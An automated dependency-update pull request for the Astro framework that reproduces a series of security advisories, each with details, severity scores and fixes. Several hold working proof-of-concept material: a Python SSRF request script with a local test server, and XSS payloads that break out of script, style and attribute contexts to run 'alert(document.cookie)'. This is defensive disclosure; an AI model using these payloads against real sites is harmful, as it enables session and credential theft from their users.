fix(deps): update dependency astro to v7 [security]

[renovate]

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
astro (source)	^5.0.0 → ^7.2.8
astro (source)	^5.18.0 → ^7.2.8

---

Astro: Remote allowlist bypass via unanchored matchPathname wildcard

CVE-2026-33769 / GHSA-g735-7g2w-hh3f

More information

Details

Summary

This issue concerns Astro's remotePatterns path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for /* wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass.

Impact

Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix.

Description

Taint flow: request -> transform.src -> isRemoteAllowed() -> matchPattern() -> matchPathname()

User-controlled href is parsed into transform.src and validated via isRemoteAllowed():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56

const url = new URL(request.url);
const transform = await imageService.parseURL(url, imageConfig);

const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
  return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed() checks each remotePattern via matchPattern():

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21

export function matchPattern(url: URL, remotePattern: RemotePattern): boolean {
  return (
    matchProtocol(url, remotePattern.protocol) &&
    matchHostname(url, remotePattern.hostname, true) &&
    matchPort(url, remotePattern.port) &&
    matchPathname(url, remotePattern.pathname, true)
  );
}

The vulnerable logic in matchPathname() uses replace() without anchoring the prefix for /* patterns:

Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99

} else if (pathname.endsWith('/*')) {
  const slicedPathname = pathname.slice(0, -1); // * length
  const additionalPathChunks = url.pathname
    .replace(slicedPathname, '')
    .split('/')
    .filter(Boolean);
  return additionalPathChunks.length === 1;
}

Vulnerable code flow:

1. isRemoteAllowed() evaluates remotePatterns for a requested URL.
2. matchPathname() handles pathname: "/img/*" using .replace() on the URL path.
3. A path such as /evil/img/secret incorrectly matches because /img/ is removed even when it's not at the start.
4. The image endpoint fetches and returns the remote resource.

PoC

The PoC starts a local attacker server and configures remotePatterns to allow only /img/*. It then requests the image endpoint with two URLs: an allowed path and a bypass path with /img/ in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed.

Vulnerable config

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' },
      { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' },
    ],
  },
});

Affected pages

This PoC targets the /_image endpoint directly; no additional pages are required.

PoC Code

import http.client
import json
import urllib.parse

HOST = "127.0.0.1"
PORT = 4321

def fetch(path: str) -> dict:
    conn = http.client.HTTPConnection(HOST, PORT, timeout=10)
    conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"})
    resp = conn.getresponse()
    body = resp.read(2000).decode("utf-8", errors="replace")
    conn.close()
    return {
        "path": path,
        "status": resp.status,
        "reason": resp.reason,
        "headers": dict(resp.getheaders()),
        "body_snippet": body[:400],
    }

allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="")
bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="")

##### Both pass, second should fail

results = {
    "allowed": fetch(f"/_image?href={allowed}&f=svg"),
    "bypass": fetch(f"/_image?href={bypass}&f=svg"),
}

print(json.dumps(results, indent=2))

Attacker server

from http.server import BaseHTTPRequestHandler, HTTPServer

HOST = "127.0.0.1"
PORT = 9999

PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\">
  <text>OK</text>
</svg>
"""

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f">>> {self.command} {self.path}")
        if self.path.endswith(".svg") or "/img/" in self.path:
            self.send_response(200)
            self.send_header("Content-Type", "image/svg+xml")
            self.send_header("Cache-Control", "no-store")
            self.end_headers()
            self.wfile.write(PAYLOAD.encode("utf-8"))
            return

        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def log_message(self, format, *args):
        return

if __name__ == "__main__":
    server = HTTPServer((HOST, PORT), Handler)
    print(f"HTTP logger listening on http://{HOST}:{PORT}")
    server.serve_forever()

PoC Steps

1. Bootstrap default Astro project.
2. Add the vulnerable config and attacker server.
3. Build the project.
4. Start the attacker server.
5. Start the Astro server.
6. Run the PoC.
7. Observe the console output showing both the allowed and bypass requests returning the SVG payload.

Severity

• CVSS Score: 2.9 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f
• https://nvd.nist.gov/vuln/detail/CVE-2026-33769
• https://github.com/advisories/GHSA-g735-7g2w-hh3f

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: XSS in define:vars via incomplete </script> tag sanitization

CVE-2026-41067 / GHSA-j687-52p2-xcff

More information

Details

Summary

The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.

Details

The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/<\/script>/g,       // ← Case-sensitive, exact match only
			'\\x3C/script>',
		)};\n`;
	}
	return markHTMLString(output);
}

This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:

if (name === 'script') {
	delete props.hoist;
	children = defineScriptVars(defineVars) + '\n' + children;
}

The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:

1. Case variations: </Script>, </SCRIPT>, </sCrIpT> — HTML tag names are case-insensitive but the regex has no i flag.
2. Whitespace before >: </script >, </script\t>, </script\n> — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace.
3. Self-closing slash: </script/> — the tokenizer enters "self-closing start tag" state on /.

JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.

Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.

PoC

Step 1: Create an SSR Astro page (src/pages/index.astro):

---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
  <h1>Hello</h1>
  <script define:vars=>
    console.log(name);
  </script>
</body>
</html>

Step 2: Ensure SSR is enabled in astro.config.mjs:

export default defineConfig({
  output: 'server'
});

Step 3: Start the dev server and visit:

http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>

Step 4: View the HTML source. The output contains:

<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
  console.log(name);
</script>

The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.

Alternative bypass payloads:

/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.

Exploitation enables:

• Session hijacking via cookie theft (document.cookie)
• Credential theft by injecting fake login forms or keyloggers
• Defacement of the rendered page
• Redirection to attacker-controlled domains

The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.

Recommended Fix

Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:

export function defineScriptVars(vars: Record<any, any>) {
	let output = '';
	for (const [key, value] of Object.entries(vars)) {
		output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
			/</g,
			'\\u003c',
		)};\n`;
	}
	return markHTMLString(output);
}

This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.

Severity

• CVSS Score: 6.1 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff
• https://github.com/withastro/astro/releases/tag/astro@6.1.6
• https://nvd.nist.gov/vuln/detail/CVE-2026-41067
• https://github.com/advisories/GHSA-j687-52p2-xcff

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Server island encrypted parameters vulnerable to cross-component replay

CVE-2026-45028 / GHSA-xr5h-phrj-8vxv

More information

Details

Impact

Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (p) value as another component's slots (s) value, or vice versa.

Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet all of the following conditions:

• The application uses server islands
• Two different server island components share the same key name for a prop and a slot
• An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page)

These conditions are very unlikely to occur in real-world production applications.

Patches

This has been patched in astro@6.1.10.

The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like props:IslandName or slots:IslandName, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots.

References

• Fix PR: https://github.com/withastro/astro/pull/16457
• Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical

Severity

• CVSS Score: 2.9 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/withastro/astro/security/advisories/GHSA-xr5h-phrj-8vxv
• https://github.com/withastro/astro/pull/16457
• https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd
• https://nvd.nist.gov/vuln/detail/CVE-2026-45028
• https://github.com/advisories/GHSA-xr5h-phrj-8vxv

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Reflected XSS via unescaped slot name

CVE-2026-50146 / GHSA-8hv8-536x-4wqp

More information

Details

Summary

When a component uses a client:* directive, Astro inserts named slot content into a data-astro-template attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR.

This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point.

Vulnerable Code

packages/astro/src/runtime/server/render/component.ts:371:376

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>`

I found that key is interpolated directly into the attribute value without proper escaping.

Proof of Concept

For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0.

astro.config.mjs

import react from '@astrojs/react';
import node from '@astrojs/node';
import { defineConfig } from 'astro/config';
export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  integrations: [react()],
});

src/pages/index.astro

---
import Wrapper from '../components/Wrapper.jsx';
const slotName = Astro.url.searchParams.get('tab') ?? 'default';
---
<html><body>
  <Wrapper client:load>
    <div slot={slotName}>content</div>
  </Wrapper>
</body></html>

src/components/Wrapper.jsx

export default function Wrapper() { return null; }

Payload:

abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!--

Accessing this URL will trigger the popup.

http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!--

This will render in html.

<template data-astro-template="abc"></template></astro-island>
<img src=x onerror=confirm(document.domain)><!--">content</template>

Fix

I suggest leveraging the existing escape function on the slot name.

// component.ts:371
`<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>`

---

Severity

• CVSS Score: 7.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp
• https://nvd.nist.gov/vuln/detail/CVE-2026-50146
• https://github.com/advisories/GHSA-8hv8-536x-4wqp

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Host header SSRF in prerendered error page fetch

CVE-2026-54299 / GHSA-2pvr-wf23-7pc7

More information

Details

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

1. Have a prerendered 404 or 500 page
2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected:

• @astrojs/node >= 9.5.4 (reads error pages from disk)
• @astrojs/cloudflare (uses the ASSETS binding)
• The dev server (renders error pages in-process)

How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7
• https://nvd.nist.gov/vuln/detail/CVE-2026-54299
• https://github.com/advisories/GHSA-2pvr-wf23-7pc7

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: XSS via Unescaped Attribute Names in Spread Props

CVE-2026-54298 / GHSA-jrpj-wcv7-9fh9

More information

Details

Summary

The spreadAttributes function in Astro's server-side rendering pipeline iterates over object keys and passes them directly to addAttribute, which interpolates the key into the HTML output without escaping. When a developer uses the spread syntax {...props} on an HTML element and the object keys come from an untrusted source (API, CMS, URL parameters), an attacker can inject arbitrary HTML attributes including event handlers like onmousemove, onclick, or break out of the attribute context entirely to inject new elements.

Details

The vulnerable function is addAttribute at packages/astro/src/runtime/server/render/util.ts:81-141:

export function addAttribute(value: any, key: string, shouldEscape = true, tagName = '') {
    if (value == null) {
        return '';
    }
    
    return markHTMLString(` ${key}="${toAttributeString(value, shouldEscape)}"`); //  key interpolated not escaped
}

This function is called from spreadAttributes at packages/astro/src/runtime/server/index.ts:91-92:

for (const [key, value] of Object.entries(values)) {
    output += addAttribute(value, key, true, _name);
}

The toAttributeString function escapes the attribute value, but the attribute name key is never validated or escaped. An attacker can craft a JSON object with a key containing " characters to break out of the attribute context and inject event handlers.

Execution flow: User controlled object keys (from API, CMS, URL params) are spread onto element via {...props}. The compiler generates spreadAttributes(props) which iterates with Object.entries() and calls addAttribute(value, key). The key is interpolated as ` ${key}="${escapedValue}"`. A malicious key breaks attribute context, resulting in XSS.

POC

Create an SSR Astro page (src/pages/index.astro):

---
const props = JSON.parse(Astro.url.searchParams.get('props') || '{}');
---
<html>
<body>
  <h1>Hello</h1>
  <div {...props}>Move mouse here</div>
</body>
</html>

Enable SSR in astro.config.mjs (for URL based demo):

export default defineConfig({
  output: 'server'
});

Note: SSR is not required for the vulnerability to exist. In static builds (default), the attack vector is compromised data sources at build time (API, CMS, database). SSR simply makes the PoC easier to demonstrate via URL parameters.

Start the dev server and visit:

http://localhost:4321/?props={"x\" onmousemove=\"alert(document.cookie)\" y":""}

URL encoded:

http://localhost:4321/?props=%7B%22x%5C%22%20onmousemove%3D%5C%22alert(document.cookie)%5C%22%20y%22%3A%22%22%7D

View the HTML source. The output contains:

<div x" onmousemove="alert(document.cookie)" y="">Move mouse here</div>

The key x" onmousemove="alert(document.cookie)" y breaks out of the attribute context. Moving the mouse over the div executes the JavaScript.

Impact

An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any Astro application that spreads object props from untrusted sources onto HTML elements. This is a common pattern when integrating with external APIs or CMS systems. Exploitation enables session hijacking via cookie theft, credential theft by injecting fake login forms or keyloggers, defacement of the rendered page, and redirection to attacker controlled domains.

The vulnerability affects all Astro versions that support spread syntax on HTML elements and is exploitable in SSR, SSG (if build time data is compromised), and hybrid deployments.

Severity

• CVSS Score: 4.2 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-jrpj-wcv7-9fh9
• https://nvd.nist.gov/vuln/detail/CVE-2026-54298
• https://github.com/advisories/GHSA-jrpj-wcv7-9fh9

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Reflected XSS via unescaped View Transition animation properties

CVE-2026-73422 / GHSA-4g3v-8h47-v7g6

More information

Details

Summary

Astro's server-side View Transition CSS generator interpolates animation properties into an inline <style> element without escaping them for the CSS and HTML contexts.

An attacker-controlled value passed to an animation property such as duration can contain a </style> sequence, terminate the generated style element, and inject arbitrary HTML or JavaScript.

This is similar to GHSA-8hv8-536x-4wqp, but exploits a different injection point: unescaped View Transition animation values in a server-generated <style> element rather than an unescaped slot name in a hydration template.

Like GHSA-8hv8-536x-4wqp, exploitation requires an application to pass attacker-controlled data to an Astro API. However, the value is subsequently inserted into the HTML response without context-appropriate escaping by Astro.

Details

packages/astro/src/runtime/server/transition.ts

The generated stylesheet is wrapped in a <style> element and marked as HTML-safe:

const css = sheet.toString();
result._metadata.extraHead.push(markHTMLString(`<style>${css}</style>`));

Animation properties are added to the stylesheet without escaping:

if (anim.duration) {
  addAnimationProperty(builder, 'animation-duration', toTimeValue(anim.duration));
}

For string values, toTimeValue() returns the input unchanged:

export function toTimeValue(num: number | string) {
  return typeof num === 'number' ? num + 'ms' : num;
}

As a result, a duration value containing </style> can escape from the generated style element.

Other TransitionAnimation properties, including easing, direction, delay, fillMode, and name, are serialized by the same animation builder. The following PoC only relies on the official fade() helper and its duration option.

PoC

Using:

• astro@7.0.9
• @astrojs/node@11.0.2

astro.config.mjs

import node from '@astrojs/node';
import { defineConfig } from 'astro/config';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
});

src/pages/index.astro

---
import { fade } from 'astro:transitions';

const duration = Astro.url.searchParams.get('duration') ?? '300ms';
---

<html lang="en">
  <head>
    <meta charset="utf-8" />
    <title>PoC</title>
  </head>
  <body>
    <div transition:animate={fade({ duration })}>
      Animated content
    </div>
  </body>
</html>

Payload:

open:

http://localhost:4321/?duration=%3C%2Fstyle%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E%3C!--

The browser interprets </style> as the end of the generated style element and executes the injected script. An alert dialog is displayed when the page is opened.

Impact

An attacker who can control a View Transition animation value can execute arbitrary JavaScript in the origin of the affected Astro application.

The query-based reflected XSS scenario affects on-demand/server-rendered routes, such as:

• projects configured with output: "server";
• pages using export const prerender = false;
• other server-side data flows that pass attacker-controlled values into a View Transition animation definition.

Successful exploitation may allow access to sensitive page data and authenticated actions available to the victim.

Suggested Fix

Animation values should be serialized using context-appropriate CSS escaping or validation before being added to the generated stylesheet.

Additionally, content inserted into a raw <style> element must not be able to contain an HTML end-tag sequence such as </style>. The final generated CSS should be made safe for the HTML raw-text context before it is passed to markHTMLString().

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-4g3v-8h47-v7g6
• https://github.com/withastro/astro/pull/17393
• https://github.com/withastro/astro/commit/092da560eea77ee63a3e2c583c80d8238544e42b
• https://github.com/withastro/astro/releases/tag/astro@7.1.0
• https://github.com/advisories/GHSA-4g3v-8h47-v7g6

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Cross-site scripting via unescaped transition:* directive values on hydrated islands

CVE-2026-59727 / GHSA-7pw4-f3q4-r2p2

More information

Details

Summary

When a transition:persist, transition:scope, or transition:persist-props directive is applied to a client-hydrated (client:*) component, Astro copied the directive value onto the rendered <astro-island> element without HTML-escaping it. If a developer reflects attacker-controlled input into one of these directives, an attacker can break out of the attribute and inject arbitrary HTML/JavaScript into the server-rendered output, resulting in reflected cross-site scripting (XSS).

Severity

Although a generic reflected XSS scores in the Medium range, exploitation here requires the application developer to have written a non-idiomatic pattern — passing untrusted, request-derived input directly into a transition directive. Astro applications that do not route untrusted input into these directives are unaffected. This mitigating precondition places the real-world severity at Low.

Details

In generateHydrateScript() (packages/astro/src/runtime/server/hydration.ts), every island property is HTML-escaped before serialization — the attrs, props, and opts assignments all pass through escapeHTML(). The transition directives, however, were copied verbatim:

transitionDirectivesToCopyOnIsland.forEach((name) => {
  if (typeof props[name] !== 'undefined') {
    island.props[name] = props[name]; // not escaped
  }
});

The <astro-island> element is serialized via renderElement('astro-island', island, false) with shouldEscape=false, and toAttributeString() returns the value unchanged in that mode. As a result there is no downstream re-escaping, and the raw directive value reaches the HTML response. This is the same output sink previously addressed for slot names in GHSA-8hv8-536x-4wqp.

The affected directives are:

• data-astro-transition-scope (transition:scope)
• data-astro-transition-persist (transition:persist)
• data-astro-transition-persist-props (transition:persist-props)

Note that transition:persist is typed boolean | string, so passing a string value is a supported use of the API.

Proof of Concept

A component that reflects a query parameter into a transition directive:

---
const persist = Astro.url.searchParams.get('persist') ?? 'default';
---
<Island client:load transition:persist={persist} />

Request:

https://example.com/?persist="><img src=x onerror=alert(document.domain)>

Rendered output (before the fix):

<astro-island … data-astro-transition-persist=""><img src=x onerror=alert(document.domain)>></astro-island>

The " closes the attribute and the injected <img onerror=…> executes in the victim's browser.

Impact

Reflected XSS. An attacker who can induce a victim to visit a crafted URL can execute arbitrary script in the victim's session on the origin, subject to the requirement that the target application reflects untrusted input into one of the affected transition directives.

Affected Versions

astro >= 3.10.0, < 7.0.4 (introduced in 3.10.0, PR #​7861).

Patched Versions

astro >= 7.0.4. Fixed in PR #​17212 by HTML-escaping transition directive values before they are rendered onto the island element.

Workarounds

Do not pass untrusted or request-derived input into transition:persist, transition:scope, or transition:persist-props. If such input is required, HTML-escape or strictly validate it before passing it to the directive. Upgrading to astro@7.0.4 or later removes the need for manual mitigation.

Credits

Reported by @​jlgore.

Severity

• CVSS Score: 2.1 / 10 (Low)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-7pw4-f3q4-r2p2
• https://github.com/withastro/astro/pull/17212
• https://github.com/withastro/astro/commit/7ba0bb1dc7516e88caff9abd7767322af44b0294
• https://github.com/withastro/astro/releases/tag/astro@7.0.4
• https://nvd.nist.gov/vuln/detail/CVE-2026-59727
• https://github.com/advisories/GHSA-7pw4-f3q4-r2p2

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: XSS via unescaped spread attribute names in renderHTMLElement (incomplete fix for CVE-2026-54298)

CVE-2026-59729 / GHSA-f48w-9m4c-m7f5

More information

Details

Summary

The fix for CVE-2026-54298 (GHSA-jrpj-wcv7-9fh9) added an INVALID_ATTR_NAME_CHAR guard to addAttribute() so that spread-prop attribute names containing "' >/= or whitespace are dropped. A second attribute-rendering path, renderHTMLElement() in packages/astro/src/runtime/server/render/dom.ts, has its own inline attribute loop that does not go through addAttribute() and was not updated. It interpolates the attribute name unescaped and only escapes the value, so untrusted prop keys spread onto a native-HTMLElement-subclass component can still break out of the attribute context, resulting in XSS.

Details

renderHTMLElement builds attributes directly:

for (const attr in props) {
  attrHTML += ` ${attr}="${toAttributeString(await props[attr])}"`;
}

The attribute name (attr) is interpolated raw; only the value is escaped via toAttributeString. By contrast, the hardened addAttribute in util.ts rejects invalid names:

if (INVALID_ATTR_NAME_CHAR.test(key)) { return ''; } // /[\s"'>/=]/

renderHTMLElement is reached from component.ts when the component is a native HTMLElement subclass:

if (!renderer && typeof HTMLElement === 'function' && componentIsHTMLElement(Component)) {
  const output = await renderHTMLElement(result, Component, _props, slots);
}

where _props carries spread props verbatim.

Reachability

The branch only runs when typeof HTMLElement === 'function' at SSR time. In default Node SSR HTMLElement is undefined, so the branch is dead. It becomes reachable when the SSR runtime exposes a global HTMLElement (Deno, Bun with a DOM shim, or jsdom/happy-dom in Node) and a class extending HTMLElement is used directly as an Astro component that receives untrusted-keyed spread props.

Proof of Concept

Given malicious spread props:

const maliciousProps = {
  'onmouseover=alert(document.domain) x': 'y',
  'x><script>alert(1)</script>': 'z',
};

• addAttribute (post-fix) → <my-el></my-el> (key stripped — safe)
• renderHTMLElement → <my-el onmouseover=alert(document.domain) x="y" x><script>alert(1)</script>="z"></my-el> (handler + <script> injected — XSS)

Equivalent Astro template, served by an SSR runtime that defines a global HTMLElement:

---
import MyElement from '../MyElement.js'; // class MyElement extends HTMLElement {}
const userInput = Astro.url.searchParams;  // untrusted keys
---
<MyElement {...Object.fromEntries(userInput)} />

Impact

Cross-site scripting (CWE-79) via attribute-name breakout — the same vulnerability class as CVE-2026-54298, in a code path its fix did not cover. An attacker who controls the keys of an object spread onto a native-HTMLElement-subclass component can inject arbitrary event-handler attributes or sibling elements (including <script>) into the SSR output. Reachability is constrained by the runtime and component preconditions described above.

Severity

• CVSS Score: 5.1 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

• https://github.com/withastro/astro/security/advisories/GHSA-f48w-9m4c-m7f5
• https://github.com/withastro/astro/pull/17251
• https://github.com/withastro/astro/commit/5240e26c9dd91f9bc7140dcfacdb48d5a132830d
• https://github.com/withastro/astro/releases/tag/astro@7.0.6
• https://nvd.nist.gov/vuln/detail/CVE-2026-59729
• https://github.com/advisories/GHSA-f48w-9m4c-m7f5

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Remote code execution through AVIF image optimization

GHSA-26w7-cxv4-gfx2

More information

Details

A vulnerability in libheif, used by the default Sharp image service in Astro, can lead to remote code execution when a malicious AVIF image is optimized.

Projects are affected when an attacker can cause Astro to process an untrusted AVIF image.

The fix was released in Astro 7.2.8, which requires Sharp 0.35.4.

Severity

• CVSS Score: 9.8 / 10 (Critical)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/strukturag/libheif/security/advisories/GHSA-g89c-p67h-r497
• https://github.com/withastro/astro/security/advisories/GHSA-26w7-cxv4-gfx2
• https://github.com/withastro/astro/commit/ecb4082131490b4fe9a56aa44fda84b54ef8967b
• https://github.com/withastro/astro/releases/tag/astro@7.2.8
• https://github.com/advisories/GHSA-26w7-cxv4-gfx2

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Astro: Authorization bypass from missing path-segment boundary check when stripping the configured base

CVE-2026-84376 / GHSA-376h-93r7-7g6f

More information

Details

Summary

Astro stripped a configured base path from request pathnames using a string-prefix check that did not verify a path-segment boundary. With base: "/app", a request to /appX/admin was treated as being under the base and resolved internally to the /admin route, while middleware still observed the public pathname /appX/admin. Middleware that authorizes routes by inspecting context.url.pathname could therefore be bypassed.

Impact

An unauthenticated remote attacker can bypass pathname-based middleware authorization in applications that:

• Configure a non-root base.
• Protect base-prefixed routes in middleware using context.url.pathname.

Because routing and middleware resolved different effective pathnames, a request such as /appX/admin (or other single-character extensions like /app2/admin or /app-/admin) reached the protected /admin route without passing the middleware check that guards /app/admin. Astro's authentication guide demonstrates protecting routes in middleware via context.url.pathname, so this is a reasonable and expected pattern.

Affected versions

astro <= 7.2.3.

Patches

Fixed in astro 7.2.4. Base stripping now requires the pathname to equal the base without its trailing slash, or to be followed by a /, so a prefix that does not end on a path-segment boundary is no longer treated as being under the base. Routing and context.url.pathname now resolve the same pathname.

Workarounds

Upgrade to astro 7.2.4 or later. As a mitigation before upgrading, avoid relying solely on prefix checks of context.url.pathname for authorization, or reject requests whose pathname does not begin with the configured base followed by a path-segment boundary.

Credits

Reported by @​Ryoga-exe.

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

